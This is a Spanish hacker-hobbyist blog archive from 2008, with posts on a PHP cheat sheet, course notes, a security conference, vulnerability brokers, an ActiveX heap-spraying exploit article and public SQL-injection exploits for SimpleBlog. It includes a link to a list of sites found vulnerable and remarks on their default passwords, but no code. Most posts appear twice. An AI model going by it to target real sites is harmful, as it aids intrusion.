https://www.securinfos.info/old-softwares-vulnerable.php
Link del concurso:
https://www.securinfos.info/metasploit/msfxdc.php
Etiquetas:
Exploits,
Hacking,
Vulnerabilidades Software
sábado, 6 de diciembre de 2008
Chuletilla sobre PHP de Emezeta
Mientras buscaba otra cosa di con esta chuleta sobre las funciones de php, parámetros, tipos de datos, etc. Está hecha por Manz, un buen trabajo que si sabéis php os interesará. Podría existir una de estas para cada lenguaje jeje. Está hecha en inglés pero es entendible por todos ya veréis.
Os cuento que tiene por encima, ya que poner la imagen aquí se sale de los límites jeje.
Chuleta de PHP
---------------------
Tipos de datos: boolean, integer, float...
Comentarios.
Operadores: aritméticos, de asignación, para bits, comparación...
Constantes: define, constant...
Estructuras de Control: if, while, do while, switch...
Funciones.
Funciones Matemáticas: log, rand, abs,exp...
Tipos de Caracteres: ctype_alnum, ctype_alpha...
Inclusión de Archivos: require, include...
Variables predefinidas: $GLOBALS, $GET, $POST...
Funciones URL: base64_encode, urlencode, parse_url...
Funciones para Directorios: chdir, chroot,dir, opendir...
Funciones Misceláneas: sleep, exit, eval...
Funciones para Ejecutar: exec, passthru, shell_exec, system.
Arrays: matrix, array, list...
Movimientos Básicos de Arrays: current, end, array_pop...
Métodos para Ordenar Arrays: array_multisort, array_reverse....
Arrays como sets(diferencia e intersecciones): array_intersect, array_diff...
Fecha y Hora: getdate, time, microtime...
Parámetros de fecha: date(day, week, month...).
Clase de DateTime y DateTimeZone: date_create, date_time_set...
Archivos del Sistema(funciones básicas): basename, chmod, rename, copy, glob...
Cadenas: slashes y quotes; conversions y crypt; splits; strings y chars operations; compare; print family.
Expresiones regulares: POSIX Extended RegExp y Perl Compatible RegExp
---------------------------------------------------------------------------------------
Bueno, ahí está todo lo que te vas a encontrar más completo.
Lo podéis bajar de aquí: http://www.emezeta.com/articulos/emezeta-card-php-cheat-sheet
Os cuento que tiene por encima, ya que poner la imagen aquí se sale de los límites jeje.
Chuleta de PHP
---------------------
Tipos de datos: boolean, integer, float...
Comentarios.
Operadores: aritméticos, de asignación, para bits, comparación...
Constantes: define, constant...
Estructuras de Control: if, while, do while, switch...
Funciones.
Funciones Matemáticas: log, rand, abs,exp...
Tipos de Caracteres: ctype_alnum, ctype_alpha...
Inclusión de Archivos: require, include...
Variables predefinidas: $GLOBALS, $GET, $POST...
Funciones URL: base64_encode, urlencode, parse_url...
Funciones para Directorios: chdir, chroot,dir, opendir...
Funciones Misceláneas: sleep, exit, eval...
Funciones para Ejecutar: exec, passthru, shell_exec, system.
Arrays: matrix, array, list...
Movimientos Básicos de Arrays: current, end, array_pop...
Métodos para Ordenar Arrays: array_multisort, array_reverse....
Arrays como sets(diferencia e intersecciones): array_intersect, array_diff...
Fecha y Hora: getdate, time, microtime...
Parámetros de fecha: date(day, week, month...).
Clase de DateTime y DateTimeZone: date_create, date_time_set...
Archivos del Sistema(funciones básicas): basename, chmod, rename, copy, glob...
Cadenas: slashes y quotes; conversions y crypt; splits; strings y chars operations; compare; print family.
Expresiones regulares: POSIX Extended RegExp y Perl Compatible RegExp
---------------------------------------------------------------------------------------
Bueno, ahí está todo lo que te vas a encontrar más completo.
Lo podéis bajar de aquí: http://www.emezeta.com/articulos/emezeta-card-php-cheat-sheet
miércoles, 3 de diciembre de 2008
DAI - Sistemas Informáticos Multiusuario y en Red(1)
Esta asignatura la tenemos dividida en bloques. Voy a enseñaros poco a poco, de que trata cada bloque en distintos posts y que podréis aprender con ellos.
El primer bloque de esta asignatura es:
2- Datos e información
3- Cualidades de la información
4- Transmisión de la información
5- Representación de la información
Lo más extendido es el punto 5 y 6, está algo desordenado pero en navidades si hay ganas o al final de curso o cuando ya no tenga que hacer gran cosa, poco a poco los apuntes estarán en pdf disponibles para todos, o al menos eso espero. Es mucha tarea pero se irá intentando poco a poco.
El primer bloque de esta asignatura es:
COMUNICACIÓN Y REPRESENTACIÓN DE LA INFORMACIÓN
1- Introducción a la informática2- Datos e información
3- Cualidades de la información
4- Transmisión de la información
5- Representación de la información
- Codificación binaria
- Codificación/Decodificación
- Sistemas de numeración
- Teoría Formal de la Numeración
- Sistema binario (0,1)
- Cambio de decimal a cualquier base
- Paso de Base B a base C
- Operaciones lógicas en binario(AND, OR, XOR, NOT)
- Operaciones aritméticas en binario
- Medidas
- Sistema Octal (0-7)
- Sistema Hexadecimal (0-F)
- Representación de los números enteros (Coma fija sin signo, con signo, Complemento a 1 y a 2, en exceso a M o sesgada, BCD empaquetado y desempaquetado, Código Gray, Cod. Biquinaria y Quibinaria y el código de los 7 segmentos)
- Representación de números reales (IEEE 754)
- Representación de alfanuméricos (FIELDATA, BCDIC, ASCII-7, ASCII EXTENDIDO, EBCDIC, UNICODE)
- Código hamming
- Códigos CRC
- Código Huffman
- Código corrector de dos entre 3 (2/3)
Lo más extendido es el punto 5 y 6, está algo desordenado pero en navidades si hay ganas o al final de curso o cuando ya no tenga que hacer gran cosa, poco a poco los apuntes estarán en pdf disponibles para todos, o al menos eso espero. Es mucha tarea pero se irá intentando poco a poco.
martes, 11 de noviembre de 2008
Articulo - Explotando Activex con Heap Spraying
El mes pasado en CracksLatinos enviaron al concurso un fallito ya descubierto y explotado por shinnai en el que había que conseguir explotar una vulnerabilidad en Ultra Office, que era un programita que se podía ejecutar a través del navegador.
Cuando un programa se puede ejecutar a través de el Internet Explorer como son los Activex, si éste tiene un fallo, hay formas de aprovecharse de dichos fallos de una manera muy universal, y bastante eficaz con algunas modificaciones en el exploit original de la técnica que usaremos (Heap Spraying).
Así que, stack-based buffer overflow + Activex + navegador(IE) = Heap Spraying y derivados, y tendremos el control de muchos PCs con sólo poco trabajo como podéis leer en el tuto.
Para que veáis de que trata exactamente os recomiendo que lo miréis y en internet tenéis que buscar mas información sobre ello.
Habrá una segunda parte con métodos inseguros.
Descarga: Articulos - Explotando Activex con Heap Spraying
Cuando un programa se puede ejecutar a través de el Internet Explorer como son los Activex, si éste tiene un fallo, hay formas de aprovecharse de dichos fallos de una manera muy universal, y bastante eficaz con algunas modificaciones en el exploit original de la técnica que usaremos (Heap Spraying).
Así que, stack-based buffer overflow + Activex + navegador(IE) = Heap Spraying y derivados, y tendremos el control de muchos PCs con sólo poco trabajo como podéis leer en el tuto.
Para que veáis de que trata exactamente os recomiendo que lo miréis y en internet tenéis que buscar mas información sobre ello.
Habrá una segunda parte con métodos inseguros.
Descarga: Articulos - Explotando Activex con Heap Spraying
Etiquetas:
Heap Spraying,
Seguridad,
Vulnerabilidades Software
lunes, 27 de octubre de 2008
Charla de Asegur@IT IV
La verdad que para ser la primera charla y encima de forma gratuita me llevo una muy buena impresión. Nada más llegar allí con los colegas, sin perdernos y a la primera ejje, vi a Chema el malignoo, y me presenté y aunque sea muy pro Microsoft ejje, es un tio de la hostia jeje, me presentó a un grupo de personas, entre ellos David Barroso, Anelkaos...Vamos que genial, la pena que no pude hacerme una foto con todos, jeje ya que tantas caras nuevas y tantos nombres no les termino de asociar jeje, espero que suban fotos y pongan los nombres de la gente que había por allí. También estaba Silverhack, David Carrasco, y Winsock con el que había quedado en ver.
Vamos que le pude poner cara y cuerpo a mucha gente jeje. Así que un placer conocer a todos los que me presentaron y vi, a ver si me apunto a la próxima :D. Que hoy con las prisas de mis amigos no me pude quedar después de las preguntas o me quedaba sin comer hasta las 4.30 que hubiera llegado a casa ejej.
Bueno respecto a la charla, vamos por partes:
Esteganografía 2.0
A esta charla por mi parte le faltó chicha a la hora de ver como poder ocultar uno mismo los datos, y otros modos de ocultación que no sean el del bit menos significativo, aunque al ser de los más eficaces y al tener poco tiempo pues tampoco daba tiempo para mucho más. Aprendí alguna cosilla suelta pero poco más, después de todo lo que vi en el reto de mandingo con los colegas, lo demás parece fácil jeje.
Botnets 2.0
Esta charla es la de David Barroso. Estuvo bastante chula porque habla de una realidad que toca de cerca muchos pcs jeje(que se lo digan a nuestros amigos zerafitos xD), además mostró las características de lo que tiene que tener una botnet, así como algunas famosas que hay, la verdad que se ven cosas interesantes.
RFD, descarga de ficheros con Blind SQL Injection
La del chemita, viendo la presentación ves porqué ha dado tantas charlas por el mundo, usa el Blind Sql Injection incluso para cagar jeje, la verdad que una de bastante nivel y que con conocimientos, práctica y paciencia, puede llegar a ser mortal muchas veces. Esto obliga a que aprenda bien el SQL y las bases de datos. Decir que espero la versión que uso privada, y que pronto publique el código :D.
Debian OpenSSL Bug
Decir lo primero que el Luciano Bello es otro cachondo como el Chema jeje, todo por debian, no instales ni vista ni windows 7 cuando salga sino debian :P. Esta charla muestra la peligrosidad que tiene a veces un pequeño cambio en el código que en teoría te quita todos los errores(100 creo) y te los pone en 0, pero con mucha más peligrosidad, me refiero los errores que mostraba el Valgrind, una herramienta que ayuda mucho a programadores. La cosa estaba en que calculaba una cosa de forma no muy random jeje. Bastante buena la charla también.
¿Qué está haciendo Microsoft en seguridad?
Esta decir que le pilló en una buena fecha, con la salida del bug remoto que se saltó el SDL, pero bueno...De ésta esperaba que hablase algo más de porqué se les coló el último fallo ya que estaba en la misma parte de código que un fallo anterior. Además hizo comparativas de vulnerabilidades con gráficas, pero lo que no muestra el dinero que invierte cada S.O. en mejoras, igualito el dinero que pueda gasar debian en mejoras de seguridad y en búsqueda de bugs, que lo que gasta Microsoft(Pobre Luciano Bello jeje).
Turno de preguntas
Aquí atacaron a Héctor Sánchez, el de la última charla, con preguntas un poco incómodas pero típicas, ya lo veréis cuando cuelguen los videos y el audio me imagino. Y de los demás poca cosa, al menos hasta las 2.15 que es cuando me tenía que ir.
En definitiva, una buena forma de pasar el día, desayunar jeje, hablar, aprender y conocer gente.
Espero que la próxima vez pueda estar más tiempo con todos, y si algún dia se puede y me dejan me apunto a las cervezas.
Decir que subirán los videos y avisarán en el Blog de Chema, así que estar atentos.
¡¡¡Saludos a todos los que vi por allí!!!
PD: Además del desayuno de los organizadores, los de S21Sec nos dieron otra sorpresa, aunque quitale el palo y parece otro regalo más interesante para estar seguro...jejeje

Vamos que le pude poner cara y cuerpo a mucha gente jeje. Así que un placer conocer a todos los que me presentaron y vi, a ver si me apunto a la próxima :D. Que hoy con las prisas de mis amigos no me pude quedar después de las preguntas o me quedaba sin comer hasta las 4.30 que hubiera llegado a casa ejej.
Bueno respecto a la charla, vamos por partes:
Esteganografía 2.0
A esta charla por mi parte le faltó chicha a la hora de ver como poder ocultar uno mismo los datos, y otros modos de ocultación que no sean el del bit menos significativo, aunque al ser de los más eficaces y al tener poco tiempo pues tampoco daba tiempo para mucho más. Aprendí alguna cosilla suelta pero poco más, después de todo lo que vi en el reto de mandingo con los colegas, lo demás parece fácil jeje.
Botnets 2.0
Esta charla es la de David Barroso. Estuvo bastante chula porque habla de una realidad que toca de cerca muchos pcs jeje(que se lo digan a nuestros amigos zerafitos xD), además mostró las características de lo que tiene que tener una botnet, así como algunas famosas que hay, la verdad que se ven cosas interesantes.
RFD, descarga de ficheros con Blind SQL Injection
La del chemita, viendo la presentación ves porqué ha dado tantas charlas por el mundo, usa el Blind Sql Injection incluso para cagar jeje, la verdad que una de bastante nivel y que con conocimientos, práctica y paciencia, puede llegar a ser mortal muchas veces. Esto obliga a que aprenda bien el SQL y las bases de datos. Decir que espero la versión que uso privada, y que pronto publique el código :D.
Debian OpenSSL Bug
Decir lo primero que el Luciano Bello es otro cachondo como el Chema jeje, todo por debian, no instales ni vista ni windows 7 cuando salga sino debian :P. Esta charla muestra la peligrosidad que tiene a veces un pequeño cambio en el código que en teoría te quita todos los errores(100 creo) y te los pone en 0, pero con mucha más peligrosidad, me refiero los errores que mostraba el Valgrind, una herramienta que ayuda mucho a programadores. La cosa estaba en que calculaba una cosa de forma no muy random jeje. Bastante buena la charla también.
¿Qué está haciendo Microsoft en seguridad?
Esta decir que le pilló en una buena fecha, con la salida del bug remoto que se saltó el SDL, pero bueno...De ésta esperaba que hablase algo más de porqué se les coló el último fallo ya que estaba en la misma parte de código que un fallo anterior. Además hizo comparativas de vulnerabilidades con gráficas, pero lo que no muestra el dinero que invierte cada S.O. en mejoras, igualito el dinero que pueda gasar debian en mejoras de seguridad y en búsqueda de bugs, que lo que gasta Microsoft(Pobre Luciano Bello jeje).
Turno de preguntas
Aquí atacaron a Héctor Sánchez, el de la última charla, con preguntas un poco incómodas pero típicas, ya lo veréis cuando cuelguen los videos y el audio me imagino. Y de los demás poca cosa, al menos hasta las 2.15 que es cuando me tenía que ir.
En definitiva, una buena forma de pasar el día, desayunar jeje, hablar, aprender y conocer gente.
Espero que la próxima vez pueda estar más tiempo con todos, y si algún dia se puede y me dejan me apunto a las cervezas.
Decir que subirán los videos y avisarán en el Blog de Chema, así que estar atentos.
¡¡¡Saludos a todos los que vi por allí!!!
PD: Además del desayuno de los organizadores, los de S21Sec nos dieron otra sorpresa, aunque quitale el palo y parece otro regalo más interesante para estar seguro...jejeje
martes, 7 de octubre de 2008
Ya estoy en DAI!!!
Bueno, después de tantas vacaciones, he comenzado el curso con Desarrollo de Aplicaciones Informáticas(DAI), en teoría, en un centro con bastante prestigio de Madrid, pero hay poca gente, así que...quien sabe.
Lo elegí principalmente para aprender a programar, ya que damos 12 horas semanales de programación en C, vamos que nos vamos a cansar jeje. Así podré hacer mis programas más fácilmente y me manejaré mejor que ahora, ya que normalmente parto de un código o varios por internet y lo modifico a mi gusto, lo junto, quito cosas, etc.
Este primer año sólo damos 3 módulos bastante extensos.
Saludosss
Lo elegí principalmente para aprender a programar, ya que damos 12 horas semanales de programación en C, vamos que nos vamos a cansar jeje. Así podré hacer mis programas más fácilmente y me manejaré mejor que ahora, ya que normalmente parto de un código o varios por internet y lo modifico a mi gusto, lo junto, quito cosas, etc.
Este primer año sólo damos 3 módulos bastante extensos.
- Programación en Lenguajes Estructurados(PLE), en C.
- Análisis y diseño de aplicaciones de gestión.
- Sistemas monousuario y multiusuario...
Saludosss
viernes, 3 de octubre de 2008
Retrasada la Yashira-Masters
Como era de suponer debido al poco tiempo que dimos de margen para preparar todo, y al poco tiempo que disponemos todos los admins, al final se ha retrasado sin fecha clara. Y es mejor retrasarlo y prepararlo todo correctamente que no sacarlo y que se puedan ir dando muchos errores o problemas jeje.
Mientras que lo organizamos vamos encuestando por medio de yashira a la gente el formato del torneo y el diseño de las camisetas entre otras cosas.
Además decir, que la encuesta es la siguiente:
http://www.yashira.org/index.php?showtopic=11831
Si quereis que se agregue una cuarta opcion que sería la de todos los retos abiertos, sin puntos extras y demás, y que ganase el que antes acabase de hacer todos los retos, dejar un comentario ahi diciendolo!!!
A mi esa idea me gusta, y la veo justa para todos.
Mientras que lo organizamos vamos encuestando por medio de yashira a la gente el formato del torneo y el diseño de las camisetas entre otras cosas.
Además decir, que la encuesta es la siguiente:
http://www.yashira.org/index.php?showtopic=11831
Si quereis que se agregue una cuarta opcion que sería la de todos los retos abiertos, sin puntos extras y demás, y que ganase el que antes acabase de hacer todos los retos, dejar un comentario ahi diciendolo!!!
A mi esa idea me gusta, y la veo justa para todos.
domingo, 21 de septiembre de 2008
Venta de Vulnerabilidades en software
Hoy en día, muchos informáticos con conocimientos sobre vulnerabilidades, explotación de las mismas, e ingeniería inversa en general, se pueden ganar un buen sueldo con la venta de lo que descubren de forma legal, vendiéndolo a empresas que tienen clientes que proteger, y reportándolo a la empresa propietaria del software afectado o a los encargados de hacer ese software.
Actualmente, de forma legal conozco 2 y aunque habrá más, son las más conocidas. También hay otra que no es muy "legal" que se pueda decir, ya que vende vulnerabilidades a los que pongan el precio sin importar quien sea, pero con los datos del comprador en teoría, no directamente a la empresa que lo reportará a la afectada como debería ser para evitar problemas.
Os voy a hablar un poco de las 3:
ZeroDayInitiative(ZDI)
Pertenece a 3com-TippingPoint y pagan bastante bien. Es una de las 2 empresas que conozco, y la verdad, parece muy buena. Ellos te proporcionan una lista de las aplicaciones y fabricantes que seguramente acepten vulnerabilidades, y a partir de ahí, dependiendo del tipo de vulnerabilidad, uso extendido y demás de la aplicacion te pagan más o te pagan menos.
Ejemplos conocidos:
Adobe Pdf Reader 8.1.2 Local and Remote Code Execution across Web Browser --> 4000$
Adobe Flash Player 9.0.115.0 and earlier DeclareFunction2 Invalid Object Use Vulnerability --> 5500$
Sacado de infolancer - Vallejo.cc
iDefense Labs
La otra empresa que parece bastante buena y pertenece a Verisign, y que recientemente hizo algunos cambios por lo que pagará más en algunas vulnerabilidades importantes porque creo que quitaron concursos que hacían antes. Ésto me llegó al mail ya que ando registrado ahí desde hace tiempo. No tengo ninguna suma conocida, pero en la misma web que en ZDI, la de Vallejo, comenta que una vulnerabilidad con ejecución de código en algún software, de momento desconocido, le han llegado a pagar 8000$.
Wabisabilabi
Desde hace pocos días, no me aparece las que se venden actualmente, no muestra ninguna, así que no se si seguirá en funcionamiento si quiera...Ya bastante info hay de este en las noticias de internet.
Os dejo una lista de lo que se ha pagado por algunas vulns:
Luego hay otras que ofrecen menos dinero y son menos conocidas, o directamente las ventas ilegales, que ahí si que te pueden pagar grandes cantidades. Pero merece la pena hacer eso y que te miren mal, pues no.
Espero que os sirva, y el día que consiga vender una, os daré mejor mi opinión, si es que algú día lo consigo, que cada bug que consigo o ya ha sido encontrado o es flojillo y no lo compran porque no les merece la pena.
Actualmente, de forma legal conozco 2 y aunque habrá más, son las más conocidas. También hay otra que no es muy "legal" que se pueda decir, ya que vende vulnerabilidades a los que pongan el precio sin importar quien sea, pero con los datos del comprador en teoría, no directamente a la empresa que lo reportará a la afectada como debería ser para evitar problemas.
Os voy a hablar un poco de las 3:
ZeroDayInitiative(ZDI)
Pertenece a 3com-TippingPoint y pagan bastante bien. Es una de las 2 empresas que conozco, y la verdad, parece muy buena. Ellos te proporcionan una lista de las aplicaciones y fabricantes que seguramente acepten vulnerabilidades, y a partir de ahí, dependiendo del tipo de vulnerabilidad, uso extendido y demás de la aplicacion te pagan más o te pagan menos.
Ejemplos conocidos:
Adobe Pdf Reader 8.1.2 Local and Remote Code Execution across Web Browser --> 4000$
Adobe Flash Player 9.0.115.0 and earlier DeclareFunction2 Invalid Object Use Vulnerability --> 5500$
Sacado de infolancer - Vallejo.cc
iDefense Labs
La otra empresa que parece bastante buena y pertenece a Verisign, y que recientemente hizo algunos cambios por lo que pagará más en algunas vulnerabilidades importantes porque creo que quitaron concursos que hacían antes. Ésto me llegó al mail ya que ando registrado ahí desde hace tiempo. No tengo ninguna suma conocida, pero en la misma web que en ZDI, la de Vallejo, comenta que una vulnerabilidad con ejecución de código en algún software, de momento desconocido, le han llegado a pagar 8000$.
Wabisabilabi
Desde hace pocos días, no me aparece las que se venden actualmente, no muestra ninguna, así que no se si seguirá en funcionamiento si quiera...Ya bastante info hay de este en las noticias de internet.
Os dejo una lista de lo que se ha pagado por algunas vulns:
PostgreSQL 8.3.1 con PoC, Remota(No especifica de que tipo) --> 800 Euros
Safari 3.1 con Poc, Remota(Visitando un link seguramente) --> 300 Euros
IBM DB2 9.1.0 sin Poc, Remota --> 1050 Euros
SAP GUI v 620 con Poc x 3 Vulnerabilidades --> 5100 Euros/Vulnerabilidad
Ahi teneis lo que se ha pagado y por cuales.
http://www.wslabi.com/wabisabilabi/initAssignedBid.do?
Luego hay otras que ofrecen menos dinero y son menos conocidas, o directamente las ventas ilegales, que ahí si que te pueden pagar grandes cantidades. Pero merece la pena hacer eso y que te miren mal, pues no.
Espero que os sirva, y el día que consiga vender una, os daré mejor mi opinión, si es que algú día lo consigo, que cada bug que consigo o ya ha sido encontrado o es flojillo y no lo compran porque no les merece la pena.
Etiquetas:
Fuzzing,
Hacking,
Seguridad,
Venta de Vulnerabilidades,
Vulnerabilidades Software
viernes, 19 de septiembre de 2008
Pasan los años y el mismo software de siempre
Ya van pasando los años y muchas veces por vagueza o por falta de tiempo, mucho tiempo, no arreglan los fallos y siguen poniendo el software para que descarguen, y un usuario que no sabe mucho de fallos ni mira si es vulnerable o no lo que baja, porque como es lo último se imaginará que está sin ningún fallo público.
Pero esto con Simple Blog de 8pixel.net no pasa, tienen la versión 3.0 que es vulnerable a Sql Injection, y no la han arreglado me parece porque es del 2007 la vulnerabilidad y el parche de seguridad es a 2006 de la versión anterior. Además la versión 2.0 y 2.3 deben de estar en algún lado ya que cada 2 x 3 en un reto me envian páginas que encuentran vulenrables,y siguen saliendo después de dos años.
Exploits públicos:
2007-07-28 SimpleBlog 3.0 (comments_get.asp id) Remote SQL Injection Vulnerability
2006-11-26 SimpleBlog <= 2.3 (admin/edit.asp) Remote SQL Injection Vulnerability
2006-09-04 SimpleBlog <= 2.3 (id) Remote SQL Injection Vulnerability
2006-08-20 SimpleBlog <= 2.0 (comments.asp) Remote SQL Injection Exploit
2006-08-20 SimpleBlog <= 2.0 (comments.asp) Remote SQL Injection Vulnerability
Lista de páginas que han sido o son vulnerables desde( 03/12/2006 - 19/08/2008):
http://www.yashira.org/index.php?showtopic=10033
Fecha del primer parche de seguridad:
28/11/06 --> Me imagino que para la de comments.asp y la de id
Además muchas veces las contraseñas eran las que vienen por defecto o muy relacionadas con el nombre del sitio.
Pero esto con Simple Blog de 8pixel.net no pasa, tienen la versión 3.0 que es vulnerable a Sql Injection, y no la han arreglado me parece porque es del 2007 la vulnerabilidad y el parche de seguridad es a 2006 de la versión anterior. Además la versión 2.0 y 2.3 deben de estar en algún lado ya que cada 2 x 3 en un reto me envian páginas que encuentran vulenrables,y siguen saliendo después de dos años.
Aquí os dejo la prueba
Exploits públicos:
2007-07-28 SimpleBlog 3.0 (comments_get.asp id) Remote SQL Injection Vulnerability
2006-11-26 SimpleBlog <= 2.3 (admin/edit.asp) Remote SQL Injection Vulnerability
2006-09-04 SimpleBlog <= 2.3 (id) Remote SQL Injection Vulnerability
2006-08-20 SimpleBlog <= 2.0 (comments.asp) Remote SQL Injection Exploit
2006-08-20 SimpleBlog <= 2.0 (comments.asp) Remote SQL Injection Vulnerability
Lista de páginas que han sido o son vulnerables desde( 03/12/2006 - 19/08/2008):
http://www.yashira.org/index.php?showtopic=10033
Fecha del primer parche de seguridad:
28/11/06 --> Me imagino que para la de comments.asp y la de id
Además muchas veces las contraseñas eran las que vienen por defecto o muy relacionadas con el nombre del sitio.
jueves, 18 de septiembre de 2008
De Vuelta
Después de ver las escalofriantes cifras que llegan a pagar por fallos tanto idefense como tippingpoint, me he animado a buscar fallos en software comercial conocido con la intención de encontrar algún fallo bueno y venderlo a ver que tal pagan, ya que pronto hay que sacarse el carnet de coche y no llega..ahora la cosa es buscar bien y probar y probar, una parte que puede llegar a ser muy aburrida.
Asi que Fuzzing, fuzzing y más fuzzing hasta encontrar algo, de momento descubri algunos que ya fueron vendidos o posteados así que nada...xD
Asi que Fuzzing, fuzzing y más fuzzing hasta encontrar algo, de momento descubri algunos que ya fueron vendidos o posteados así que nada...xD
Etiquetas:
Fuzzing,
Seguridad,
Vulnerabilidades Software
miércoles, 10 de septiembre de 2008
Vacaciones hasta el 14
Pues eso, hasta el 14 no estaré delante de un pc, más bien hasta el día 15, así que cuidense y vayan preparándose para el torneo.
Si me llueve mucho a lo mejor hasta me meto algo, pero espero no meterme y tomar el sol un poco jiji
Byeeee
Si me llueve mucho a lo mejor hasta me meto algo, pero espero no meterme y tomar el sol un poco jiji
Byeeee
Suscribirse a:
Entradas (Atom)